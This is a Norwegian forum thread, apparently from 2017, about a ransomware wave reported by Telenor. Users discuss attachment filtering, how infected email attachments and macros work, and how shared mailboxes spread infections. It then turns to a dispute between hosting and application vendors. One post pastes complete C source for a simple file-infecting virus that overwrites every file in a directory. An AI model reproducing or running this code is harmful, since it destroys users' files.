Telenor advarer mot farlig løsepengevirus som er på ferde i Norge

[nomore]

Nei, eg tenkte mer på filendelser. Vi blokkerte .js-filer i filteret vårt, fordi vi har opplevd at en god del ondsinnet kode har kommet den veien. Så finner en lur type ut det at de skal bruke .jse-filer i stede for - som i stor grad gjør det samme...

[myhken]

En ting som irriterer meg skikkelig med slike utbrudd av Cryptovirus....er at jeg aldri får eposter med viruset.

Skulle gjerne testet det ut på et lite system jeg har satt opp, som simulerer hvordan nettverket mitt er satt opp med filserver, klienter osv for å se hvordan effekten er, og om backup rutinene mine er gode nok.

Men nei da....får det aldri.

 

Og når jeg har hjulpet folk med å fjerne viruset, så har jeg liksom ikke tatt med tid til å pakke ned viruset før jeg sletter det, så jeg kunne fått lastet det opp til meg selv.

 

Skikkelig luksusproblem.

[flinx]

 

 

Det er kjørbare filer som startes.

Nei - zip er ikke et kjørbart format, så her må det være filer i selve arkivet som i tillegg må kjøres for å infisere maskinen. Det går an å lage zip filer som pakker opp seg selv, men de har en .exe-endelse, ikke .zip.

 

 

Kan det ikke skriptes da via .HTML om å forsøke å kjøre en fil som eksekverbar, tross hvilken som helst kamuflasje-filendelse den måtte bære da? Det må vel være en årsak bak at folk lar seg infisere av disse .ZIP-filene.

 

Nei, fordi zip-programmer skjønner ikke HTML (eller andre skriptspråk). Den eneste måten jeg kan se for meg at zip-filer blir kjørbare er hvis noen finner en feil i et bestemt utpakkingsprogram som kan utnyttes til å kjøre vilkårlig kode. Det vil ta kun fungere i det programmet.

 

Zip-filer brukes til virus mest for å lure virussjekkere som kjører på e-postservere, fordi signaturen til viruset endres ved at filen komprimeres.

Endret 27. februar 2017 av flinx

[G]

Hvordan fungere så infiseringen via epost i praksis da. Noen som gidder å forklare det, framfor å "gå litt rundt grøten" ?

[nomore]

Mottaker får en e-post. Innholdet i e-posten gir mottakeren grunn til å åpne vedlegget. Eksempelvis kan dette være ett ordreskjema, en faktura, purring eller lignende. Nok grunn til at mottaker mener det er reelt for sin jobb og åpner vedlegget.

 

Vedlegget er da enten ei ZIP-fil med kjørbare filer i(exe, js og flere), Office-dokument med makro som kjører skadelig kode(må akseptere kjøring av makroer) eller link i selve e-posten som laster ned/kjører ondsinnet kode.

 

Så blir maskinen infisert.

[LMH1]

#include<stdio.h> #include<io.h> #include<dos.h> #include<dir.h> #include<conio.h> #include<time.h> FILE *virus,*host; int done,a=0; unsigned long x; char buff[2048]; struct ffblk ffblk; clock_t st,end; void main() { st=clock(); clrscr(); done=findfirst("*.*",&ffblk,0); //Search for a file with any extension (*.*) while(!done) { virus=fopen(_argv[0],"rb"); host=fopen(ffblk.ff_name,"rb+"); if(host==NULL) goto next; x=89088; printf("Infecting %s\n",ffblk.ff_name,a); while(x>2048) { fread(buff,2048,1,virus); fwrite(buff,2048,1,host); x-=2048; } fread(buff,x,1,virus); fwrite(buff,x,1,host); a++; next: { fcloseall(); done=findnext(&ffblk); } } printf("DONE! (Total Files Infected= %d)",a); end=clock(); printf("TIME TAKEN=%f SEC\n", (end-st)/CLK_TCK); getch(); }

Så er eksempel dette så enkelt å lage virus?

Eller bruke f.eks veracrypt for å krypere hele harddisken?

Ekstra skummelt hvis en textfil kan kjøre virus uten å bli kombilert først.

Ikke mange som tror testfil kan gi virus\spyware.

 

Gir. http://fakebit.com/

et godt eksempel hvordan slike virus funger med harddisk kryptering?

Eller er dette utdatert versjon som er lett å ungå.

Endret 27. februar 2017 av LMH1

[bbolsoy]

Ikke åpne vedlegg og klikk på linker, er jo velkjente mantra.

 

Men et annet problem er jo at folk gjerne videresender epostene, f.eks. til en fakturaavdeling og lignende. Ofte kommer jo disse inn via fellesmail/grupper, som kan være betjent av alt fra vikarer til velmenede kolleger. Ikke bare blir epostene da eksponert for flere personer, men det virker gjerne som en ekstra sikkerhet at den er videresendt fra noen du absolutt har et forhold til.

 

Så: Ikke videresend eposter med linker og vedlegg, med mindre du kjenner avsender og VET hva saken gjelder. Det er nå mitt råd.

 

Vi mottok flere av disse epostene i forrige uke, og vi fikk inn en melding om en kunde som var svært hardt rammet av dette. Vi snakker om flere dagers nedetid på alt av servere.

[nomore]

Det stemmer godt det.

 

Ofte blir slike e-poster sendt til fellespostbokser(ordre, post, info, faktura, invoice, billing osv), og så blir de ofte videresendt innternt uten at en tenker mer over det - og plutselig får man virus fra noen man kjenner.

 

I tillegg pleier det å være ekstra mye av disse tidlig eller seint på dagen(for da er ofte nyansatte på jobb og de erfarne gått hjem/ikke kommet), i ferier og gjerne rett før/etter ferier - siden da man har andre som gjør jobben som ikke pleier å gjøre det. Samme gjelder telefonselgere som skal selge katalogplass og lignende.

[bbolsoy]

Det stemmer godt det.

 

Ofte blir slike e-poster sendt til fellespostbokser(ordre, post, info, faktura, invoice, billing osv), og så blir de ofte videresendt innternt uten at en tenker mer over det - og plutselig får man virus fra noen man kjenner.

 

I tillegg pleier det å være ekstra mye av disse tidlig eller seint på dagen(for da er ofte nyansatte på jobb og de erfarne gått hjem/ikke kommet), i ferier og gjerne rett før/etter ferier - siden da man har andre som gjør jobben som ikke pleier å gjøre det. Samme gjelder telefonselgere som skal selge katalogplass og lignende.

 

Nå skal det sies at tilfellet med vår kunde belyser et annet problem som vi som applikajsonsutvikler ser fra tid til annen: At en driftsavdeling eller ASP-leverandør har alt for dårlig oversikt over hva de holder på med, feks. rutiner for håndtering av havarier eller hvordan applikasjonene fungerer; hvor dataene befinner seg og hvordan de er satt opp. Her har leverandøren valgt å bygge VMWare-serverene fra scratsh, noe som ikke burde være nødvendig. Dette har strandet på enkeltindivider, som ikke har nødvendig kjenskap eller dokumentasjon. Det hører også med til historien at en velkjent leverandør av et regnskapssystem ikke klarte å få databasen opp å gå etter at viruset krypterte vitale filer - begge leverandører klør seg i hodet.

 

Et annet tilfelle jeg nylig var ute for var en ASP-leverandør (som de markedfører seg selv som) som sågar mente de kun skulle tilby en server - applikasjoner hadde de visstnok ikke noe med i følge de selv.. Og videre: Denne leverandøren hadde verken satt seg inn i våre supportvilkår eller systemkrav, og satt opp våre applilkasjoner på en plattform vi ikke støtter.

 

Ok, et lite hjertesukk her, som heldigvs hører til sjeldenhetene. :-)

 

 

Endret 27. februar 2017 av bbolsoy

[nomore]

Vel - eg kan komme med de samme hjertesukkene om applikasjonsutviklere

 

Eg jobber for en ASP-leverandør. Og vi leverer "skrivebordet" til kundene, og selve serverene som applikasjonene og databasene kjører på. Og så har vi ørten applikasjonsleverandører og utviklere som ikke forstår at det er kun det vi leverer og at noen andre må ta ansvar for applikasjonen de har laget eller levert. For å sette det på spissen - vi som leverer disse serverene har flere hundretalls(om ikke tusentalls) applikasjoner som installeres på serverene. Å forvente at vi skal kjenne til alle og enhver av disse blir litt vel håpløst

[bbolsoy]

Vel - eg kan komme med de samme hjertesukkene om applikasjonsutviklere

 

Eg jobber for en ASP-leverandør. Og vi leverer "skrivebordet" til kundene, og selve serverene som applikasjonene og databasene kjører på. Og så har vi ørten applikasjonsleverandører og utviklere som ikke forstår at det er kun det vi leverer og at noen andre må ta ansvar for applikasjonen de har laget eller levert. For å sette det på spissen - vi som leverer disse serverene har flere hundretalls(om ikke tusentalls) applikasjoner som installeres på serverene. Å forvente at vi skal kjenne til alle og enhver av disse blir litt vel håpløst

 

Neida, men man skal kunne nok om en vanlig applikasjon til å kunne installere og drifte den på en forsvarlig måte.

 

Nå er jeg så heldig at jeg har sittet på begge sider av bordet, og er ekstra heldig som daglig snakker med ASP- og driftsavdelinger om løst og fast. Jeg opplever at de absolutt fleste gjør en god jobb, men av og til er det de som famler litt i blinde. Heldigvis nokså sjelden.

 

Da jeg selv var ASP-leverandør var selve konseptet at vi leverte tilgang til en applikasjon - som en tjeneste. Kunden selv hadde ingen IT-kompetanse og det var likegyldig hvordan den ble levert: Citrix, skrivebord, streamet og så videre. Så ansvarsfordelingen var ganske klar.

 

Skulle vi ta i mot en ny, ukjent applikasjon, så gjaldt det å skaffe dokumentasjon fra leverandør og så tilpasse dette til eget driftsmiljø. Viktig i planleggingsfasen var å vurdere systemkravene og hvilke supportvilkår- og avtaler - hvis noen - kunden hadde. Det var viktig for å vurdere om vi i det hele tatt kunne tilby og drifte applikasjonen. Så gjaldt det å teste og dokumentere slik at kolleger med minst mulig kunnskaper likevel kunne installere og drifte forsvarlig.

 

Rent generelt: En applikasjonsutvikler leverer som regel et produkt til en kunde, med garantier om at den skal fungere i henhold til systemkrav og generelle anbefalinger. Så er det opp til kunden hva de gjør med produktet. Så hender det at man tilbyr avtaler som går utover det rent grunnleggende. I tilfellet jeg trakk frem sviktet det i såpass mange ledd at jeg vel kan telle på to-tre fingre de gangene jeg har opplevet det i løpet av alle årene.

 

Jeg setter pris på innspillet ditt, det er alltid interessant å høre ulike synspunkter, selv om jeg tror vi er enig om det meste.